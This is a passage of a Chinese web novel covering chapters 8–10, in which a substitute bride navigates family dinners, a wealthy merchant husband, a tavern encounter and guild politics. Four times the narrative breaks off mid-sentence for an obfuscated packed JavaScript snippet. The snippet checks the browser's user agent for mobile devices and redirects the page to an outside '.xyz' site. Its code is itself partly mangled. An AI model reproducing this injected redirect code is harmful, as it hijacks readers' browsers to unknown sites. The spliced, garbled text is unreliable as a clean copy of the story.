季灵儿不记得冯嬷嬷提过这条规矩，但看老夫人神色如常，未出声制止，只好站起身。 唇角含笑道：“四婶娘提醒的是，是芮宁疏忽了。” 她先走到老夫人身边，执银筷为老夫人夹了一块翡翠豆腐，冯嬷嬷介绍过，这是老夫人的最爱。 “祖母请。” 老夫人细密的皱纹里全是笑意。 接着到方淑凤面前，季灵儿略顿，夹桂花藕丝糕。 “听夫君说婆母脾胃虚弱，这个最是润燥养胃。” 前半句是真，后半句是胡诌的，有秦劭做挡箭牌，无人会当面计较细节。 “芮宁有心了。” 照此法顺到姚氏。 季灵儿满桌菜肴巡视一圈，最后落筷在虾仁百合上，避开虾仁，夹起一颗百合。 “百合清肺去火，正合适四婶娘。”季灵儿温声说着，手腕忽然一颤，银筷上的百合抖落下来，正好落在姚氏面前的酒杯里，溅起几滴酒液到姚氏身上。 姚氏当场变了脸色，还未发作，季灵儿先惊呼出声：“哎呀，芮宁手拙，请四婶娘见谅！” 说着迅速取出帕子要替她擦拭，嘴上絮絮叨叨赔罪，根本不给姚氏插嘴的机会。 姚氏气得指尖发抖，碍于场合不好发作，僵着脸接受季灵儿的“殷勤”伺候。 一通忙碌，季灵儿没停止赔罪：“实在抱歉，是芮宁愚笨，回头我再赔您一件衣裳吧。” 做婶娘哪能要新妇赔衣裳，这话听进姚氏耳朵里与羞辱无异，语气森然：“侄媳妇严重了。” 季灵儿这才垂首回座位。 一场好戏，在座众人皆看得分明，老夫人纵容了姚氏给新妇下马威，也纵容了新妇不敬姚氏。 前者是为借此探查新妇脾性，后者嘛，源于对宝贝孙子的宠爱。 ... 饭桌上的风波没瞒过秦劭，对此，他评价季灵儿：“胆子不小。” 季灵儿不服气，用力揪着斗篷的系绳回嘴：“明明是姚氏故意刁难，满屋子没人帮我说话，我不反击难道任人欺负吗？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379871|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秦劭无奈道：“没说不可以。” 系绳被扯开，季灵儿索性褪去斗篷，海棠红的夹袄衬得娇颜别样明媚。 “您方才的语气分明是责备。”她声音不高，因为受气语气有些硬。 “......”秦劭心中直呼冤枉，帮她取下斗篷递给玉秀，等步入卧房，遣退左右才开口辩白：“你对我误解很深。” “我没有。”他从前这样说话就是生气，季灵儿记得清清楚楚，回话也理直气壮。 秦劭不自知，凭着眼前人气鼓鼓的模样，坚定自己的想法。 “那便是有怨气。” 他每每追根究底季灵儿都会心慌，她不喜欢，但敢怒不敢言，“我不敢对您有怨气。” 那就是有了。 秦劭下过定论，当即决定同她好好谈一谈，把话说开，从根本上解决问题。 “季凌，看着我。” 季灵儿眼中，这是一副要训人的做派。 想到以后日日都要和先生相对，稍有行差踏错便可能遭来训斥，后悔和委屈如潮水上涌，水雾在眼底聚了又散。 小姑娘情绪都来这么快么？秦劭不懂，也想不出方才那句有何不妥，试着放软语气：“我想知道你为何怕我。” 季灵儿垂着眼，小声控诉：“您一生气就会罚我抄书，站规矩，打手心。” 秦劭能理解这个解释，仍觉得她对自己有误解。 “我并非不讲理的人，你不做错事便不会受罚。” “没办法不犯错。”季灵儿声音又小了些。 “什么？”秦劭没听清。 季灵儿以为她问为什么，老实答：“原来只在商行守规矩，现在日日都要守规矩，规矩太多了，保不齐哪句话没说对就犯一条，我真的做不来。” 您能不能放我走。 她咽了咽口水，试着努力，最终没能鼓起勇气把这句加上。 秦劭撑起偌大家业，年纪轻轻成为河东府商行行老，俗称大当家，手腕上的能耐自不用说，管理上有条十二字准则。 言出法随，令行禁止，奖罚分明。 他对规矩的坚持近乎苛刻，无论在外头还是家里，大家对他敬畏多于亲近。 秦劭一直知道，从未觉得有何不妥。 看着勾头立正的小姑娘，怜惜归怜惜，不足以让他打破原则，说出“我以后不会罚你了”此类安慰的话。 房间里一时陷入沉默。 秦劭将手搭在季灵儿蜷缩的肩头，缓缓开口：“规矩为立身之本，不可偏废，你若真觉得难，我可以亲自教你。” “我不事事苛求你完美，但......也不能全由着你。” 他说后半句时极罕见地叹了一口气，自以为做出了最大限度的让步。 季灵儿不能与他共情，这番话对她来说与废话没差，出于礼貌点点头，说：“知道了，谢谢先生。” 然后打了个哈欠。 按在她肩头的手掌微微收紧，又无奈松开。 “困了去榻上歇会儿吧。”他说。 季灵儿走到内室的隔帘前，想起冯嬷嬷教诲要以夫君的需求为先，满心不情愿，还是依照规矩停步回头，问：“您要一起睡吗？” 8. 奖励 季灵儿就差将“不走心，不情愿”六个字写脸上了。 秦劭善解人意道：“我有事处理，你自己睡。” 她脸上的紧张以肉眼可见的速度散去，消失在隔帘后。 秦劭是有午睡习惯的，瞌睡掐着时辰上头，抬步去了厢房。 昨日到今日，季灵儿体力精力透支得厉害，倒下便睡着了。 玉秀在房内守了她一会才轻手轻脚退出去，刚走下台阶，远远看见一道人影穿堂进来，待她看清欲回身避开已来不及。 “站住！”秦勉扬声喝止。 玉秀只好硬着头皮站定，垂头向他行礼。 秦勉走到她跟前，“抬起头来。” 玉秀略微抬了抬，视线垂落鼻尖。 秦勉不耐烦，直接以指尖捏住她的下巴，迫使她无处躲藏，“我记得你，你叫玉......” 秦勉没想出来，压重了手上力道。 玉秀吃痛不敢出声，惶恐接道：“奴婢玉秀。” 秦勉满意地眯起眼，“你家小姐呢？” “小姐......在房中休息。” “我没问这个冒牌货。”秦勉冷笑，最后三个字说得很轻，凑近了送进玉秀耳畔。 玉秀浑身颤抖，强作镇定道：“奴婢不明白您说什么。” 秦勉拇指用力，掐进她的皮肉，直到玉秀疼得求饶才松开手，“那我去问问大哥，他肯定明白。” 玉秀脸色骤白，刚张口，有一道声音盖过她。 “三少爷。” 是秦劭的随从阿吉。 阿吉走到秦勉面前，不卑不亢行礼，“三少爷，您在此处做什么？” “我找大哥也要跟你汇报？”秦勉嫌他多管闲事，语气不善。 “小的不敢，我家爷这个时辰都会午憩，您应当知晓。”阿吉特意将后半句加重了些。 听出阿吉话里的提醒意味，提高音量掩饰心虚：“我一时忘了，既然大哥午睡，我晚些时候再来。” 离开前，忽然顿住脚步，后知后觉望一眼阿吉过来的方向。 那边是厢房，难不成大哥没歇在正屋？ 这个念头闪过，嘴角扬起意味深长的笑容。 “三少爷还有事吩咐吗？”阿吉道。 秦勉没理他，对玉秀说：“也替我向大嫂嫂问好。” ... 内室铺有地龙，炭盆又烧的足，被衾香软，季灵儿睡得很沉，半炷香后秦劭进来替她掖被角都未察觉。 望着酣甜睡颜，秦劭的疲惫卸去大半。 原本只是进来看看她，不知不觉在榻边坐了半晌，倚着边架迷迷糊糊打起盹。 季灵儿醒来，看见他坐着睡着，知道坐着睡的滋味并不好受，心软了一瞬，轻轻推他的肩膀把人叫醒。 “竟睡着了，”秦劭有些意外，维持一个姿势久了半边身子发僵，疲乏地扶着脖颈，缓缓转动脑袋。 “这样脖子会酸疼，我不睡了，您睡榻上吧。”说着就要起身，看见他动作，露出一副“我就知道”的表情，问：“是脖子扭了吗？” 秦劭想说没有，季灵儿已经坐起，先开口：“我替您捏捏。” 他把话咽了回去。 季灵儿十指纤长，因为积年拨算盘做杂活，素日看着娇娇弱弱，搭上秦劭脖颈动作时，他清晰感受到指尖传来的力道，本能地绷紧肌肉。 “您放松，我技术很好的。”季灵儿对自己的手上功夫很自豪。 僵硬的肌肉渐渐在她手下松弛开来，秦劭低低呼出一口气。 “嗯，的确不错。” “师太教的，我经常会替她按。”季灵儿得意扬眉，按得越发起劲。 秦劭微微颔首，没有再说话，任由那双手掌在他肩颈间游走，揉按捶打。 屋子里很静，季灵儿能听见他强压的呼吸，贴心提醒：“您忍不住可以叫出声，疼痛是正常反应，我不会笑话您的。” “......好。”秦劭应了，但仍不作声，只用吐气缓解。 “您再这样忍着，气血会淤堵的。” 看他隐忍模样，季灵儿起了作怪的心思，边说边加重力道，在最僵硬的部位按了下去。 秦劭闷哼一声，眉心折成一团。 反手扣住季灵儿的手腕，回身时恰巧捉住一缕她没藏好的得意。 季灵儿不知道自己漏了馅，一本正经道：“还不信我，疼了吧？” “嗯，受教。”秦劭点头，松开手。 经她一通捏，秦劭身上松快许多，倦意褪尽，脸上浮出温和：“时辰尚早，可有想做的事？” 季灵儿歪着脑袋想。 素日除了去学堂，就是在庵中打下手，忙忙碌碌不得闲，做事皆出自一个非做不可，硬要挑出件称之为爱好的，应是盘腿清点香火钱。 遂如实道：“数钱。” 秦劭没忍住笑，的确符合她的作风。 “您笑什么？” “想起你在学堂里设赌局，赢了师兄们之后数钱的模样。”秦劭对那场景印象深刻。 她盘腿坐在大石墩上，荷包里的铜钱叮叮当当倒出来，用衣摆兜着，再两枚两枚捡回手心，眉飞色舞，数得那叫一个认真，连身后站了人都没察觉。 “很投入。”秦劭补充。 彼时只顾着气她号召在学堂里赌钱，如今想来，笑成年画娃娃的模样颇有些可人爱。 季灵儿闻言红了脸，并非因为羞臊，而是被积怨憋的，小声抱怨：“是，要不怎么被您抓包，抄了几十页的《九章算经》。” 小姑娘很记仇，秦劭在心中得出结论。 随后好奇追问：“赌了什么？” 作为消遣，随便一件事都能拿来做赌，因此设的赌局太多，一时记不清当日为何。不过众弟子聚一块，十桩有□□桩是赌师父。 师父今日会先点谁考查课业。 师父穿哪件衣服，布料，绣工出自哪家。 甚至无聊到，赌师父先抬哪只脚踏入门槛。 ...... 照实说无异于出卖同门，季灵儿摇了摇头，“记不清了。” “嗯。”秦劭不置可否地应了一声，起身从柜中取出一只上锁的雕花红木匣子。 季灵儿接过，只觉得手中一沉，不由问道：“这是什么？” “打开便知。”秦劭又递来一把小巧的铜钥匙。 打开匣盖，入眼是八块金元宝，几乎和她巴掌一般大，底下整整齐齐压着一沓银票。 季灵儿一时怔住，眼睛睁得圆圆的，险些将口水流上去。 还好她咽的够快。 拿起一枚元宝，小心翼翼放在齿间，啃了一口。 好硬，硌得牙疼，不是做梦......何况她连做梦都不曾梦过这么多。 揉着腮帮子感慨：“居然是真的！” 秦劭以为她说元宝真，失笑道：“我不至于在房里锁几块假元宝。” “您拿这些出来做什么？”季灵儿仍有些发愣。 “给你数着玩。”他语气十分郑重。 季灵儿一时无语。 金元宝自是标准分量，她又拿起银票翻看，面额整齐划一，稍一心算便得了数，合上匣子，干笑道：“谢谢您的美意。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379872|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “怎么不数了？”秦劭挑眉。 “数完了。”季灵儿流畅报出一串数字。 和秦劭记的分毫不差，眼中掠过赞赏：“你倒利索。” “是您存得规矩，票面一致，数起来自然快。” 季灵儿嘴上答得恭顺，心里默默嘀咕：一点数钱的乐趣都没有，何况还不是我的…… 秦劭习惯如此，心说下次该换些散银给她数。 屋内一时安静。 季灵儿正要递回钥匙，被宽厚手掌推回。 “钥匙留着，这里是我平日积攒的私银，日后你有需要自行取用便是，不必问我。” “我不——” 推辞的话未说完，被他打断：“你我夫妇一体，无须见外。” 随后站起身，说：“再带你去个地方。” ... 约莫一炷香后，季灵儿犹疑地跟着他踏入秦家名下的一间粮行。 秦劭示退堆笑上前行礼的掌柜，径直走向帘子后的内堂，教人搬出一筐待清点的碎银子放到台面上，抬眼对她说：“来数这些。” 粮行日常流通多是散银，他特地带她来这儿，本意是给她些实实在在的数钱乐趣。 可在季灵儿看来，是他放着账房和伙计不用，变着法忽悠自己替他干活。 实在过分！ 早知道不说自己想数钱了。 她暗暗撇嘴，站着不动。 “嗯？”秦劭仍看着她，揣摩小姑娘脸上微妙的神情。 似乎没有预料中的欣喜。 “数完有奖励。”他补充。 “奖励什么？”她下意识追问。 秦劭满意收下她眸中泛起的亮光，说：“奖励你再数一筐？” “……”季灵儿气得皱起鼻子，咬着牙问：“眼下是年关，您不忙吗？” 陪新娶的娘子，哄她开心，在秦劭看来同样是正事，故而推了一天其他事务。 “不差这一日，为何突然问这些？” 好奇你怎么如此有空作弄人，她在心里回怼。但嘴上不敢，老老实实蹭过去数钱。 银钱叮当作响，季灵儿闷头数着，腹里编排的话比银子还碎。 被编排的秦劭不知情，在掌柜搬来的椅子上坐着喝茶。 一盏茶见底，小姑娘终于数完一筐，眼睛圆溜溜瞪着，眉头和鼻尖微微皱起，若此时张嘴露出两排皓齿，与一只幼态的貔貅别无二致。 可爱极了，但显而易见，她并未因为自己贴心的安排感到高兴。 “数完了。”小貔貅说。 “那我们——” “我不要奖励了。”小貔貅急切打断他的话，两只手紧紧攥着筐沿。 看来她没那么爱数钱，秦劭想。 “不数了，我们去吃饭。”他说完起身往外走。 季灵儿立刻松开筐沿，如获大赦般跟到门口，听见秦劭对一名小厮说：“回府禀报老夫人，我办事回不去，少夫人随我一道，恐要误了回去时辰，请她们不必等。” 不回去用膳，就是说能下馆子，还不用费心周全一大桌子人！闻听此言，方才数钱的疲乏和怨气立刻消散大半。 秦劭收回视线正巧看见她眉眼舒展，心里化开一块蜜，温声问：“想吃什么？” “想吃......”季灵儿脱口又撤回，转道：“您有事尽管去忙，我自己可以的。” “无事，只是一句托辞。” 秦劭想哄小姑娘开心，又不想让府里觉得她进门第一日就撺掇夫君坏规矩，故而如此交代。 季灵儿想不了那么远，满心欢喜地往外报菜名。 9. 答案 结合季灵儿的喜好，秦劭特意选了家僻静的酒楼，不料还是遇见熟人。 是位来往不多的茶商，挑帘进来，手里提着两坛店里的招牌陈酿，极热情地唤了声秦大当家。 拱手道：“方才在楼下远远瞧着就觉得气度不凡，果真是您！” 说完又朝一旁的季灵儿递来目光，“这位想必就是新入门的夫人了，果然秀丽端庄，与大当家是天造地设的一对。” 季灵儿偷偷蹙眉，心说这人身上的奉承味隔两条街都难闻到。 谁知对方话锋一转，惊“咦”出声：“在下似乎在哪里见过夫人……哦对了，数学前清心庵门外，夫人捡了我的钱袋子。” 季灵儿“咯噔”一颤，忙道：“你认错——” 刚开口被秦劭打断，“袁掌柜，特意寻来可是找秦某有事？” “先前未听说您娶亲，没能上门道贺实在失礼，今日偶遇仓促，先备薄礼两坛聊表心意，回去定当登门补贺。”袁掌柜暂且放下追忆，笑着将酒推上前。 “是秦某不曾宣扬，袁掌柜客气了。” 季灵儿在一旁静听二人推让，方知秦劭成婚，事先并未张扬，请柬仅发给同宗同族的亲戚，商行的人一概未知会，怕的就是有人借祝贺送礼巴结。 收了礼，日后行事难免被人情掣肘，因而这两坛酒他也不愿收。 季灵儿觉得这般推拒过于冷硬，两坛酒而已，不收反倒显得计较。 “夫君便收下吧。”她开口接过话。 秦劭转头看她，眉头压低了些，拧着细微的不悦。 他不喜欢做打破原则的事。 季灵儿擅自拔开酒塞，斟满两杯，端起一杯递给袁掌柜，自己亦执起一杯，说：“袁掌柜吧？昨日未能请你来府上吃喜酒，今日这杯算补上，我代夫君敬你。” 袁掌柜愣了一下，连忙接过酒杯，“夫人太客气了。” 季灵儿道了声请，率先干了杯中酒。 对方回礼跟上。 季灵儿又说：“相请不如偶遇，袁掌柜坐下一同用餐吧。” 袁掌柜是个知趣的，上来招呼几句是为了在秦劭跟前露个脸，日后好有个照面，若真留下来，扰了人家夫妇雅兴，反倒落得不识抬举。 于是笑着拱手推辞。 “那我也不好留您。”季灵儿又自斟一杯饮尽，品咂片刻后笑道：“这酒确实香醇，袁掌柜很有眼光。” 袁掌柜笑得更欢了，连说不敢当。 季灵儿转头唤来小二，说：“这酒，再取四坛包好，记秦大爷账，送去这位爷府上。” 袁掌柜惶恐：“这怎可使得。” 季灵儿笑吟吟道：“如何使不得，好酒就该与同好分享，袁掌柜的心意我可是代夫君收下了，我们夫妇二人的回赠，袁掌柜岂有不收之理，就别推辞了。” 秦劭抬眼望向她明澈含笑的眼睛，眉间愠意悄然散去，不自觉弯起嘴角。 袁掌柜再三道谢离去。 “你倒是会做人情。”秦劭目光还落在她身上，语气平淡。 季灵儿迎着目光望回去，他的眼睛幽黑深邃，看不透情绪。 “您这话，是夸我还是挖苦？” 秦劭不答反问：“为何会觉得我挖苦你？” “您应该不喜欢我擅自替您做主。”她回的很诚实。 秦劭颔首，他的确不喜欢。 “既然知道，还替我做决定？” “自然是——”季灵儿弯起眉眼，眼波流转俏然，“想在您面前好好表现呐！” 说罢殷勤地替他斟一杯酒。 晶莹的酒液在杯中荡漾，闪着明晃晃的光，一如她眼眸里明晃晃的心虚。 秦劭能笃定，她在扯谎。 至于为何扯谎，真实目的是何，他暂且想不出来。 吃饱喝足，季灵儿借着酒意大胆问他：“您对所有人都这么不通人情吗？” “此话怎讲？” “就像方才对那位姓袁的掌柜那样，两坛酒算不得大礼，何必非得推拒。” “两坛酒虽小，收下就是破例，因小事开了先例，往后会滚雪球似的成为惯例。”秦劭说得不紧不慢，同他讲学时一样。 季灵儿抿唇：“人情往来是维系关系的纽带，收一份礼，是给人一份颜面，一味拒之门外伤了和气，等日后真有用人处岂非尴尬。” 秦劭：“生意场上熙熙攘攘的往来皆因利益权衡，只要利益足够，仇人也会握手言和，一时生分或熟络算不得要紧。” 张口闭口谈利益，果然不近人情。季灵儿如是想。 话赶话说到这份上，胆子也壮大了，没忍住心中好奇：“那您娶宋......娶我，是因着什么利益权衡？” 秦劭目光微动，似是没料到她会突然问出这样的问题。 片刻沉默后，他开口，声音低沉：“你以为呢？” 他的目光深得能将人吸进去，季灵儿下意识避开，尴尬一笑，说：“我哪里知道。” 秦劭没继续往下说，反倒回了她最初的问题：“我说你会做人情，是夸赞。” 季灵儿没转过弯，懵懵地“啊”了一声。 “我知道你替我收下，是在替我留人情。”他说。 秦劭不否认自己掌权久了难免倨傲，不屑花费时间与无关紧要的人周旋。小姑娘替他收了礼又加倍还了情，对方不失颜面，若聪明些，自会明白他不愿欠人的态度，今后打交道，会更轻松。 大概因为她的考虑周全，不失为一次妥善的处置，他没有为她的擅自作主生气。 季灵儿这边恰恰相反，她没打算让秦劭满意，而是故意触碰他的原则，企图以此引他厌恶，最好厌恶到休了她。 因而听到夸赞只礼貌扯出一丝笑，心里还惦记袁掌柜说见过她的事。 偷瞧秦劭，对方专心夹菜，没有要追问的意思。 直到酒足饭饱，他都只字未提，也未表现出异常。 季灵儿稍稍安心，偶遇而已，不能说明什么，任凭什么巧合，在替嫁遇上秦劭这件事面前，都是小巫见大巫。 从酒楼出来，两人并排沿街散步消食，腊月天太冷了，北风呼啸着直往衣领里钻，饶是裹得严严实实的季灵儿也被吹得瑟瑟发抖，一张小脸红起来，鼻子以下缩进雪狐领里。 秦劭停步问：“回去？” 回去独处一室总是局促，季灵儿私心想多在外面待会儿，慢吞吞道：“吃得有些涨肚，我想再走走。” “嗯。”秦劭没再多言，陪着她继续往前走。 风雪无常，街上只有门店开着，路上行人寥寥。 走着走着，季灵儿发现两人距离越发近，披风随着步伐来回摩擦，她想往旁边挪开些，太匆忙未留心脚下，略一打滑，反被秦劭揽住。 他高她一头有余，手臂落在她肩上的动作极为自然。 季灵儿心跳漏了一拍，步伐跟着放慢。 秦劭察觉她的异样，解释道：“小心路滑。” 他语气神色都平静如常，更衬得季灵儿紧张，点头附和两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379873|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声是，旋即道：“那还是回去吧。” ... 季灵儿以为，和先生相处是一门大学问。 比如方才被先生揽在怀里，她手脚僵硬程度不亚于冰雪冻住的枯枝。 比如此刻，她局促坐在寝房外间的罗汉床上，看小厮丫鬟掀开猩红毡帘，一桶一桶往西次间运送冒着热气的沐汤。 她家先生泰然自若在东边内室更衣，她却绞尽脑汁揣摩对方半盏茶前说的沐浴歇息有几层意思。 没记错的话，他白日提到过圆房。 还说圆房是规矩，不圆房老夫人能看出来。 他如此看重规矩又孝顺，该不会要来真的吧...... 季灵儿越想越慌，暗暗编了数十个理由，又一一摒弃。 “少夫人，奴婢服侍您更衣。”说话的是秋棠。 季灵儿环顾一圈，见房中已无旁人，也不见玉秀身影，问：“玉秀呢？” “好像是被大爷指派去做旁的事了。” “何事？” “奴婢不知。” 季灵儿心头一紧，隐隐觉得有些不对劲，秦劭不会是故意把玉秀支开的吧？ 没道理呀。 正想着，秦劭从内室走出来，只披着件月白中衣，袖口松松挽起，露出半截结实小臂，胸口处未拢严谨，锁骨眼神往下的肌里若隐若现。 季灵儿看了一眼，猛地挪开视线。 心说即便屋里暖和如春，他也不至于穿这么清凉吧，如此不检点的作派，摆明是暗示她。 脸上热的发烫，嘴巴也烫的说不出话。 秦劭仿佛没察觉她的窘迫，径自走到她面前，语气淡淡：“怎么一直坐着？” 一坐一站，半步距离，季灵儿知道自己一抬眼就能撞进他松松垮垮的衣襟里，身体绷得更僵了。 “方才在想事情，一时没回过神来，您要去沐浴吗？快去吧，我，我去内室更衣。” 说完拔腿就往里间冲。 秦劭低声笑笑，抬步入西次间。 洗完出来时，季灵儿钗环卸尽躺在架子床最里侧，被衾将小身板裹得严严实实，只露出一张脸，还朝里侧扭着。 秋棠回禀：“少夫人一直说困乏，让奴婢伺候梳洗完便歇下了。” “嗯，你退下吧。” 秦劭挪步到榻上，掀起她为自己留的半边被角盖在身上，半靠在床头。 他的动作不算轻，甚至刻意放大过，但身边的人没半点动静。 才多大会功夫，哪里能睡这么熟。 小姑娘一如既往演技拙劣，恰恰暴露了不愿与他亲近的心思。 秦劭涩然勾起唇角，自己有那么可怕吗？ 季灵儿怕极了，闭着眼睛不敢动弹，连呼吸都极力克制，她能感觉到从身边传来的热气，混着湿漉漉的松香。 心跳声起起伏伏几百遭，她听见头顶传来声音，低沉，平静，算得上温和。 “宋家的亲事是祖母选的。” 季灵儿反应了一下，明白他在回答酒楼里的问题。 大户人家多数会因利益关系联姻，秦家自然免不了俗，她当时听他说那番话，又想到这些，才脑子一热问的。 不是很在意问题的答案。 秦劭却在很认真地思考后，开口唤她：“季凌。” 这一声极为郑重，季灵儿差一点就条件反射应了。 秦劭未介意她的沉默，顿了顿，声音略低，说：“成亲非出于我本意，不过娶到你，我很欢喜。” 10. 七出 秦劭的声音像暗夜涨起的潮水，趁人不妨漫上岸滩。 细微凉意激地季灵儿心尖颤动，渐渐又平和下来，享受它的浸润，甚至回味。 她始终不敢睁眼。 越静谧的海面，越容易暗藏着汹涌，她很快又变得紧张，尤其当松香混合着体温的气息靠近，衣料摩擦的轻响在耳边放大，她一颗心几乎跳出来。 僵着身子，用耳朵捕捉每一丝动静，等了很久，只有温柔的声音落下来。 “不要总是怕我。” … 次日卯时过半，秋棠唤醒熟睡的季灵儿，催促她梳洗上妆，汇报今日需做的事项。 季灵儿听着跟和尚念经似的，撑着两只乱打架的眼皮，哈欠连天。 直到被支配着跨出房门，天尚且黑着，寒风扑面而来，激灵灵打个哆嗦，灵魂方才归位。 又打一个哈欠，想起来一直没见秦劭，便问秋棠。 秋棠：“大爷卯时便出门去商行了。” 卯时出门，寅时就要起身，那会天全黑着，她睡得正香，难怪半点没察觉。 “真是勤勉。”季灵儿不禁感慨。 “大爷积年累月都是如此，从不懈怠，这才有商行如今的光景，整个河东府谁提起来不快一句咱大爷年轻有为。”秋棠语气里满是崇敬。 对此季灵儿不否认，在知道先生真实身份前，她已见识过他的勤勉与才学。 忽想起昨夜秦劭的话，便问：“那他拖到如今才娶妻也是因为心思全在商行上吗？” 秋棠听言顿住，大爷全身心扑在商行不假，但据她所知，早年大爷曾同表小姐议过亲，聘礼都下了，表小姐不知为何改了主意，又哭又闹死活要退亲...... 秋棠自是不能在新夫人面前说这些，点头道：“是呢，大爷肩上担子重，婚事不知不觉耽搁下来。” 季灵儿了然，操劳多年，年近三十娶到一位貌美年轻的姑娘，难怪他说很欢喜。 * 河东府总商行公议堂。 黑漆金字书写“商道惟公”的匾额下，八名锦绸商人分坐八仙桌两侧，主位上的年轻面庞看不出喜怒。 唯有两只黑眼圈分外惹眼。 秦劭昨夜又没睡好，小姑娘睡前装的老实，睡熟后却胳膊腿儿乱伸一气，他白白挨了一巴掌和两脚踢。 不得已将人圈在怀里哄慰，好容易安静下来，刚合眼，她又似嫌热般在怀中扭动，挣开束缚平躺，然后，哼唧着扯开衣襟。 锁骨向下露出一大截，秦劭隔着黑暗看不真切，却能清晰闻到属于她的奶香，甜甜的，挥之不去。 要知道，他是一个正常男人。 撩起的欲.望无从发泄，忍住自渎的冲动，煎熬了半宿。 外人看来，是新婚夫妇蜜里调油所致，关切劝道：“大当家新婚，该多休息才是。” 秦劭不答，正色道：“关于上月曹县分号的亏空，诸位有何见解？” 话音落，狭长似鹰的双眸在众人面上扫过，收纳每一个细微动作。 坐在他下首的四位大掌柜互相递着眼色，须臾，右侧第一位，年过半百的边永昌清了清嗓子，道：“老夫以为，曹县之事无非市面不景气，不必过于紧张，更不至于发难苛责。” 边永昌是商行的元老，资历最深，话里话外藏着针锋。 大当家只问一句，便被安了个“发难苛责”的罪名，一时气氛凝重，都不知如何接话。 秦劭未因冒犯变脸，平静问众人：“诸位以为呢？” 略末位的姚怀义隔着距离冲边永昌冷笑，道：“边老说市面不景气，我倒不懂，为何只有曹县受影响，旁的分号反倒风生水起？” “依我看，不过是账目出了些纰漏，仔细查一查便是。总不至于，有人想浑水摸鱼吧？” ...... 闸门打开，等众人议论议论声渐起，话赶话到最后，措辞愈发尖锐，边永昌的脸色阴沉下来。 秦劭瞧火候差不多，指尖轻敲紫檀桌面，示意众人噤声，缓缓道：“一时不景气也罢，曹县分号三年来账面皆有蹊跷，草草一句市面不景气，恐难解释。” “大当家说的是。”姚怀义当即附和。 边永昌提起一口气，正要反驳，秦劭抢先道：“今日就到此吧，边老稍坐。” 掌柜们陆续离去，边永昌靠进椅背，黑白搀半的鬓角起伏几下，没说话。 秦劭教人新沏一杯茶，亲自端到边永昌面前，“新到的六安瓜片，您尝尝。” 边永昌望一眼澄澈的茶汤，一动不动：“大当家有话直说。” 秦劭抽出手边最下面的一本账册，推向边永昌。 “边伯，”他改了称呼，“商行有今日，离不开您早年奔波于漠北草原的辛苦，姚大当家临终前也再三叮嘱，让我万事与您商议......所以依您看，曹县之事如何处理妥当？” 边永昌横挑疏眉，“你拿姚大当家压我？” 秦劭笑：“边伯说哪里话，我诚心向您讨教。” 边永昌看不透他笑容里的深浅，茶香幽幽钻进鼻腔，他忍下嗓中干涩，道：“你唤我一声边伯，我便托大说两句，你还年轻，有原则是好事，但生意场不是非黑即白的，必要时睁一只眼闭一只眼，对大家都好。” 秦劭沉默片刻，颔首道：“侄儿受教，此事就依您的意思处置。” 边永昌眼中闪过得意，很快掩饰下去，终于端起茶盏细品。 回味过茶香，又状似随意地道：“对了，新上任的知府赵大人三日后到任，你是否要代表商行去走动走动。” 秦劭：“您知道我不擅这些。” “我瞧你不是不擅，是不喜吧，”边永昌笑道，又说：“商行少不了官府照应，新知府初来乍到，不道贺失了礼数日后隐患无穷。” 秦劭听明白他的意思，顺势道：“既如此，劳烦边伯替商行走一遭，贺礼的银子从账房出便是。” 边永昌摆摆手：“不用额外花销，听闻赵大人喜好字画，尤其爱前朝的本家名师，我记得你家中就有收藏。” 秦劭会心一笑，“回去我就命人送到您府上。” * 季灵儿在正院同一大家子长辈请过安，用过膳，又被老夫人留着说了会话，才得解脱。 一回房径直扑向床榻，刚同周公打上招呼又被秋棠催醒。 “少夫人，冯嬷嬷在外头候着了。” “......她来做什么？” “冯嬷嬷昨儿下午来为您讲规矩，因见大爷也在房中没让打扰，改到今日来了。” “怎么还要学。”昨日秦劭说剩下的由他讲，她以为这事暂且过了。 季灵儿在榻上滚了两圈，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16379874|184104||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情不愿起身。 